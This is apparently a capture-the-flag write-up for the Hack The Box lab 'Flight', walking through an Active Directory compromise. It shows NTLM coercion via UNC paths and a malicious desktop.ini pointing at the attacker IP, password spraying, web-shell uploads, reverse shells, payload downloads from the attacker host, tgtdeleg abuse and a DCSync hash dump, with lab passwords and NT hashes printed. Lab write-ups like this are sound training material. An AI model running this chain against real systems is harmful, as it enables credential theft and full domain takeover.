Overview

The machine starts by discovering a file inclusion vulnerability in a school subdomain that accepts UNC paths, coercing NTLM authentication from svc_apache via responder to capture and crack its hash, then password spraying that credential against domain users to find s.moon reusing it, dropping a malicious desktop.ini in the Shared folder to coerce C.Bum's hash and crack it, using C.Bum's write access to the Web share to drop an aspx shell on an internal IIS development site running as defaultapppool, abusing the machine account's network authentication via tgtdeleg to obtain a TGT for G0$, then running secretsdump via Kerberos to DCSync and retrieve the Administrator hash for full domain compromise.

Enumeration

will start with nmap scan as usual

we got DNS, Kerberos, HTTP, LDAP, and some RPC the domain name is flight.htb and there is a clock-skew with 7 hours

add this to the hosts file and lets take a look at the website

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ echo '10.129.13.70 flight.htb' | sudo tee -a /etc/hosts
10.129.13.70 flight.htb

Website

the website is totally static but it mentions something about hiring in the contacts page but the contact page is just an HTML reference ss_20260612_083052.png

Let's fuzz for directories and virtual hosts maybe we find something there

there is phpmyadmin page but returns 403 but leaks the exact stack behind this site, Apache running on Windows 64 with PHP 8.1.1 and openSSL1.1.1 ss_20260612_083315.png

the directory fuzzing returned nothing but the virtual hosting returned this school virtual host so I will add it to our hosts file and lets take a look at it

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ ffuf -u http://10.129.13.70 -H 'Host: FUZZ.flight.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.13.70
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.flight.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

school [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 1221ms]

we got this website, and there is 3 links each redirects to http://school.flight.htb/index.php?view=pagename.php so this screams file inclusion for me ss_20260612_083740.png

and as you can see trying this gets us a suspecious activity block so there is some filtering in place ss_20260612_084113.png

trying the relative path technique didn't work but the absolute one path worked and we got a file inclusion ss_20260612_084530.png

what i will do now is to try and read this index.php file itself to see what kind of filter is in place

we got the full path for the website, and we can also read the source code but we have to do it using curl so we see the raw file ss_20260612_085036.png

and here is the source code we got using curl

php 
<?php

ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);

if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
    (strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
    (strpos(urldecode($_GET['view']),'\\')!==false)||
    (strpos(urldecode($_GET['view']),'htaccess')!==false)||
    (strpos(urldecode($_GET['view']),'.shtml')!==false)
){
    echo "<h1>Suspicious Activity Blocked!";
    echo "<h3>Incident will be reported</h3>\r\n";
}else{
    echo file_get_contents($_GET['view']);
}
}else{
    echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}

?>

now we can see exactly what's getting filtered

  • .. (directory traversal)
  • filter (php wrapper)
  • \ (backslashes)
  • .htaccess
  • .shtml

and this is the C:/xampp/php/php.ini file that leaks php configuration for the server and there is multiple things to consider

  • allow_url_fopen is allowed so we can fetch remote URLs using this view parameter
  • allow_url_include isn't allowed so we can't include files for RCE so it means this is just a file disclosure not an LFI
  • Error log at C:/xampp/php/logs/php_error_log so if we can read it we can try log poisoning

the difference between LFI and file disclosure, the LFI actually executes code so if you try to view php file it'll be executed but the file disclosure just reads the content of the file

Apache_svc User

So first thing to try is the remote files so i tried using UNC path to get ntlmv2 for the user running the Apache and looks like it worked and we got the NTLMv2 for the user svc_apache ss_20260612_090458.png

trying to crack this hash worked and we got the password for the user running the svc_apache user

trying to authenticate to LDAP using that user worked so we can list users and try different vectors now

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nxc ldap flight.htb -u svc_apache -p 'S@Ss!K@*t13'
LDAP 10.129.13.70 389 G0 [*] Windows 10 / Server 2019 Build 17763 (name:G0) (domain:flight.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.13.70 389 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13

Users export using svc_apache

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nxc ldap flight.htb -u svc_apache -p 'S@Ss!K@*t13' --users-export users.txt
LDAP 10.129.13.70 389 G0 [*] Windows 10 / Server 2019 Build 17763 (name:G0) (domain:flight.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.13.70 389 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [*] Enumerated 15 domain users: flight.htb
LDAP 10.129.13.70 389 G0 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.13.70 389 G0 Administrator 2022-09-22 13:17:02 0 Built-in account for administering the computer/domain
LDAP 10.129.13.70 389 G0 Guest < never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.13.70 389 G0 krbtgt 2022-09-22 12:48:01 0 Key Distribution Center Service Account
LDAP 10.129.13.70 389 G0 S.Moon 2022-09-22 13:08:22 0 Junion Web Developer
LDAP 10.129.13.70 389 G0 R.Cold 2022-09-22 13:08:22 0 HR Assistant
LDAP 10.129.13.70 389 G0 G.Lors 2022-09-22 13:08:22 0 Sales manager
LDAP 10.129.13.70 389 G0 L.Kein 2022-09-22 13:08:22 0 Penetration tester
LDAP 10.129.13.70 389 G0 M.Gold 2022-09-22 13:08:22 0 Sysadmin
LDAP 10.129.13.70 389 G0 C.Bum 2022-09-22 13:08:22 0 Senior Web Developer
LDAP 10.129.13.70 389 G0 W.Walker 2022-09-22 13:08:22 0 Payroll officer
LDAP 10.129.13.70 389 G0 I.Francis 2022-09-22 13:08:22 0 Nobody knows why he's here
LDAP 10.129.13.70 389 G0 D.Truff 2022-09-22 13:08:22 0 Project Manager
LDAP 10.129.13.70 389 G0 V.Stevens 2022-09-22 13:08:22 0 Secretary
LDAP 10.129.13.70 389 G0 svc_apache 2022-09-22 13:08:23 0 Service Apache web
LDAP 10.129.13.70 389 G0 O.Possum 2022-09-22 13:08:23 0 Helpdesk
LDAP 10.129.13.70 389 G0 [*] Writing 15 local users to users.txt

collected data for bloodhound using rusthound

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ rusthound -i 10.129.13.70 -d flight.htb -u svc_apache -p 'S@Ss!K@*t13' -z
---------------------------------------------------
Initializing RustHound at 16:11:41 on 06/12/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-06-12T23:11:41Z INFO  rusthound] Verbosity level: Info
[2026-06-12T23:11:41Z INFO  rusthound::ldap] Connected to FLIGHT.HTB Active Directory!
[2026-06-12T23:11:41Z INFO  rusthound::ldap] Starting data collection...
[2026-06-12T23:11:43Z INFO  rusthound::ldap] All data collected for NamingContext DC=flight,DC=htb
[2026-06-12T23:11:43Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2026-06-12T23:11:43Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2026-06-12T23:11:43Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2026-06-12T23:11:43Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 16 users parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 62 groups parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 1 computers parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 1 ous parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 1 domains parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 2 gpos parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] 21 containers parsed!
[2026-06-12T23:11:43Z INFO  rusthound::json::maker] .//20260612161143_flight-htb_rusthound.zip created!

RustHound Enumeration Completed at 16:11:43 on 06/12/26! Happy Graphing!

S.moon User

the svc_apache user got no outbound controls in the bloodhound data but there is always a good chance that whoever setup this Apache used his own password so we can spray that password vs the list of the user we got and see if there is any hits

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nxc ldap flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
LDAP 10.129.13.70 389 G0 [*] Windows 10 / Server 2019 Build 17763 (name:G0) (domain:flight.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.13.70 389 G0 [-] flight.htb\Administrator:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\Guest:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
LDAP 10.129.13.70 389 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13

listing the shares with this s.moon user showed that it has a lot of access over multiple shares

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nxc smb flight.htb -u s.moon -p 'S@Ss!K@*t13' --shares
SMB 10.129.13.70 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.13.70 445 G0 [+] flight.htb\s.moon:S@Ss!K@*t13
SMB 10.129.13.70 445 G0 [*] Enumerated shares
SMB 10.129.13.70 445 G0 Share Permissions Remark
SMB 10.129.13.70 445 G0 ----- ----------- ------
SMB 10.129.13.70 445 G0 ADMIN$ Remote Admin
SMB 10.129.13.70 445 G0 C$ Default share
SMB 10.129.13.70 445 G0 IPC$ READ Remote IPC
SMB 10.129.13.70 445 G0 NETLOGON READ Logon server share
SMB 10.129.13.70 445 G0 Shared READ,WRITE
SMB 10.129.13.70 445 G0 SYSVOL READ Logon server share
SMB 10.129.13.70 445 G0 Users READ
SMB 10.129.13.70 445 G0 Web READ

looking at the web share we got the website files and we already know it is running php so we can drop php shell and get RCE but we don't have a user with write access over it yet

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ smbclient //10.129.13.70/Web -U's.moon'%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun 12 16:27:00 2026
  ..                                  D        0  Fri Jun 12 16:27:00 2026
  flight.htb                          D        0  Fri Jun 12 16:27:00 2026
  school.flight.htb                   D        0  Fri Jun 12 16:27:00 2026

                5056511 blocks of size 4096. 1247290 blocks available
smb: \> cd school.flight.htb\
smb: \school.flight.htb\> ls
  .                                   D        0  Fri Jun 12 16:27:00 2026
  ..                                  D        0  Fri Jun 12 16:27:00 2026
  about.html                          A     1689  Mon Oct 24 20:54:45 2022
  blog.html                           A     3618  Mon Oct 24 20:53:59 2022
  home.html                           A     2683  Mon Oct 24 20:56:58 2022
  images D 0 Fri Jun 12 16:27:00 2026
  index.php                           A     2092  Thu Oct 27 00:59:25 2022
  lfi.html                            A      179  Thu Oct 27 00:55:16 2022
  styles D 0 Fri Jun 12 16:27:00 2026

                5056511 blocks of size 4096. 1247290 blocks available
smb: \school.flight.htb\>

lets go back to Shared share where we have write access, trying to put multiple files in that share shows that we can only write ini files so lets grab a malicious ini file

allowing certain files only can be done via FSRM File Server Resource Manager, which is a Windows feature that lets admins whitelist or blacklist file extensions on a per-folder basis

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ smbclient //10.129.13.70/Shared -U's.moon'%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> put @steal.url
NT_STATUS_ACCESS_DENIED opening remote file \@steal.url
smb: \> put users.txt
NT_STATUS_ACCESS_DENIED opening remote file \users.txt
smb: \> put test.ini
putting file test.ini as \test.ini (0.0 kb/s) (average 0.0 kb/s)

so i will write this malicious ini file and put it on the share while responder is running to capture any thing coming back to us

plaintext 
cat desktop.ini
[.ShellClassInfo]
IconResource=\\10.10.16.83\aa

C.Bum User

and we got a hash for the user c.bum ss_20260612_165503.png

and this hash crack also worked, so lets take a look at what this user can do

when i looked at its group i found out that it is part of a group called webdev so it make sense that list the shares again and see if this user can write to the web share and it does so I will go back to the original plan

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nxc winrm flight.htb -u c.bum -p 'Tikkycoll_431012284'
WINRM 10.129.13.70 5985 G0 [*] Windows 10 / Server 2019 Build 17763 (name:G0) (domain:flight.htb)
WINRM 10.129.13.70 5985 G0 [-] flight.htb\c.bum:Tikkycoll_431012284
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nxc smb flight.htb -u c.bum -p 'Tikkycoll_431012284' --shares
SMB 10.129.13.70 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.13.70 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284
SMB 10.129.13.70 445 G0 [*] Enumerated shares
SMB 10.129.13.70 445 G0 Share Permissions Remark
SMB 10.129.13.70 445 G0 ----- ----------- ------
SMB 10.129.13.70 445 G0 ADMIN$ Remote Admin
SMB 10.129.13.70 445 G0 C$ Default share
SMB 10.129.13.70 445 G0 IPC$ READ Remote IPC
SMB 10.129.13.70 445 G0 NETLOGON READ Logon server share
SMB 10.129.13.70 445 G0 Shared READ,WRITE
SMB 10.129.13.70 445 G0 SYSVOL READ Logon server share
SMB 10.129.13.70 445 G0 Users READ
SMB 10.129.13.70 445 G0 Web READ,WRITE

and i actually could drop a shell there so lets visit this page and see what can we find out about this system

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ smbclient //10.129.13.70/Web -U'c.bum'%'Tikkycoll_431012284'
Try "help" to get a list of possible commands.
smb: \> cd school.flight.htb\
smb: \school.flight.htb\> put shell.php
putting file shell.php as \school.flight.htb\shell.php (34.3 kb/s) (average 34.3 kb/s)
smb: \school.flight.htb\>

Shell as svc_apache

so we got a shell but still as svc_apache and I already expected that so lets get an actual PowerShell and use RunasCs to move to c.bum ss_20260612_170940.png

and we got the shell we need so lets upload the Runas executable

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.13.70] 59542

PS C:\xampp\htdocs\school.flight.htb> whoami
flight\svc_apache
PS C:\xampp\htdocs\school.flight.htb>

Shell as C.Bum

and after uploading it you can see that we can trigger a revshell using -r option with the IP:port and we got a shell back as c.bum ss_20260612_172951.png

and we get the user flag

plaintext 
C:\Users\C.Bum\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1DF4-493D

 Directory of C:\Users\C.Bum\Desktop

09/22/2022  01:17 PM    <DIR>          .
09/22/2022  01:17 PM    <DIR>          ..
06/12/2026  03:02 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,102,915,584 bytes free

C:\Users\C.Bum\Desktop>type user.txt
type user.txt
26943e6813839494ebb0423bc1fffa96

C:\Users\C.Bum\Desktop>

looking at the web directory there is a more directories there like this development one

plaintext 
C:\inetpub>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1DF4-493D

 Directory of C:\inetpub

06/12/2026  05:32 PM    <DIR>          .
06/12/2026  05:32 PM    <DIR>          ..
09/22/2022  12:24 PM    <DIR>          custerr
06/12/2026  05:32 PM    <DIR>          development
09/22/2022  01:08 PM    <DIR>          history
09/22/2022  12:32 PM    <DIR>          logs
09/22/2022  12:24 PM    <DIR>          temp
09/22/2022  12:28 PM    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)   5,102,391,296 bytes free

IIS Server

and as you can see there is a lot of ports listening but the interesting one is this 8000 cause it is usually a web one but the one exposed externally is 80 so lets upload chisel and proxy traffic to see what is there

start a server on attacker for socks 5

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ ./chisel server --port 8001 --reverse --socks5
2026/06/12 17:40:47 server: Reverse tunnelling enabled
2026/06/12 17:40:47 server: Fingerprint Aflcu5R9xjk/IzqLgS4szJ6h4EFW4jttvWikolBPKmU=
2026/06/12 17:40:47 server: Listening on http://0.0.0.0:8001

and connect from the client to the server, now if we open firefox with a proxy for socks5 we can visit this page at 8000

plaintext 
PS C:\Users\C.Bum\Desktop> ./chisel.exe client 10.10.16.83:8001 R:socks
./chisel.exe client 10.10.16.83:8001 R:socks
2026/06/12 17:44:42 client: Connecting to ws://10.10.16.83:8001
2026/06/12 17:44:44 client: Connected (Latency 79.0032ms)

the website shows this page ss_20260612_174557.png

and this is IIS page that shows Forbidden and it shows that path where it is running from and that is the development path we expected at the start there is a good chance that this server is running as another user not the svc_apache but there is no way to enumerate who is running it without actually exploiting (cause the user c.bum won't have enough privileges)

and because it is running on IIS so it would be running .net application not php so i will upload ASPX shell

bash 
PS C:\inetpub\development> wget http://10.10.16.83/antak.aspx -O antak.aspx
wget http://10.10.16.83/antak.aspx -O antak.aspx

and some how it returned that our resource cannot be found even though i listed it a minute ago and it was fine ss_20260612_175518.png

and it doesn't exist anymore so maybe the windows defender deleted it so lets find another shell and upload it and maybe mutate its words a little so it doesn't get caught

bash 
PS C:\inetpub\development> ls
ls


    Directory: C:\inetpub\development


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/12/2026 5:52 PM development

Shell as defaultapppool

I used the shell.aspx from Laudanum and it worked and got the user running this is defaultapppool user so lets get a shell revshell the same way we did before and see what is there ss_20260612_175956.png

and we got a shell back

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.13.70] 54734

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv>

one thing good about this account that they use the machine account when they authenticate over the network and we can prove that using responder

you can see here the NTLMv2 hash for the Computer account G0$ which is the DC hostname in this case ss_20260612_182332.png

so we can upload Rubeus and dump tickets using it and try tgtdeleg

When IIS AppPool\DefaultAppPool makes network connections it authenticates as the machine account G0$. The tgtdeleg trick uses the Kerberos GSS-API negotiation to extract a delegated TGT for that machine account from the existing ticket cache

and as you can see we got a kirbi for it

then use the kirbi2ccache from minikerberos to convert it now we have a TGT for the DC computer account and we can connect

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ minikerberos-kirbi2ccache ticket.kirbi ticket.ccache
INFO:root:Parsing kirbi file /home/jimmex/htb/labs/flight/ticket.kirbi
INFO:root:Done!

trying to get a shell right away didn't work cause the G0$ might be restricted but lets try to dump hashes instead

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ wmiexec.py -k -no-pass g0.flight.htb
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ psexec.py -k -no-pass g0.flight.htb
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on g0.flight.htb.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'Shared' is not writable.
[-] share 'SYSVOL' is not writable.
[-] share 'Users' is not writable.
[-] share 'Web' is not writable.

Shell as Administrator

and we got the hashes for the domain including the administrator one

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ secretsdump.py -k -no-pass g0.flight.htb
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0:::
G.Lors:1604:aad3b435b51404eeaad3b435b51404ee:affa4975fc1019229a90067f1ff4af8d:::
L.Kein:1605:aad3b435b51404eeaad3b435b51404ee:4345fc90cb60ef29363a5f38e24413d5:::
M.Gold:1606:aad3b435b51404eeaad3b435b51404ee:78566aef5cd5d63acafdf7fed7a931ff:::
C.Bum:1607:aad3b435b51404eeaad3b435b51404ee:bc0359f62da42f8023fdde0949f4a359:::
W.Walker:1608:aad3b435b51404eeaad3b435b51404ee:ec52dceaec5a847af98c1f9de3e9b716:::
I.Francis:1609:aad3b435b51404eeaad3b435b51404ee:4344da689ee61b6fbbcdfa9303d324bc:::
D.Truff:1610:aad3b435b51404eeaad3b435b51404ee:b89f7c98ece6ca250a59a9f4c1533d44:::
V.Stevens:1611:aad3b435b51404eeaad3b435b51404ee:2a4836e3331ed290bd1c2fd2b50beb41:::
svc_apache:1612:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
O.Possum:1613:aad3b435b51404eeaad3b435b51404ee:68ec50916875888f44caff424cd3f8ac:::
G0$:1001:aad3b435b51404eeaad3b435b51404ee:140547f31f4dbb4599dc90ea84c27e6b:::

and we got the root flag

machine is rooted

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/flight]
└──╼ [★]$ cat root.txt
9db985630e8b9cac6f6bf99ff213efb0

Resources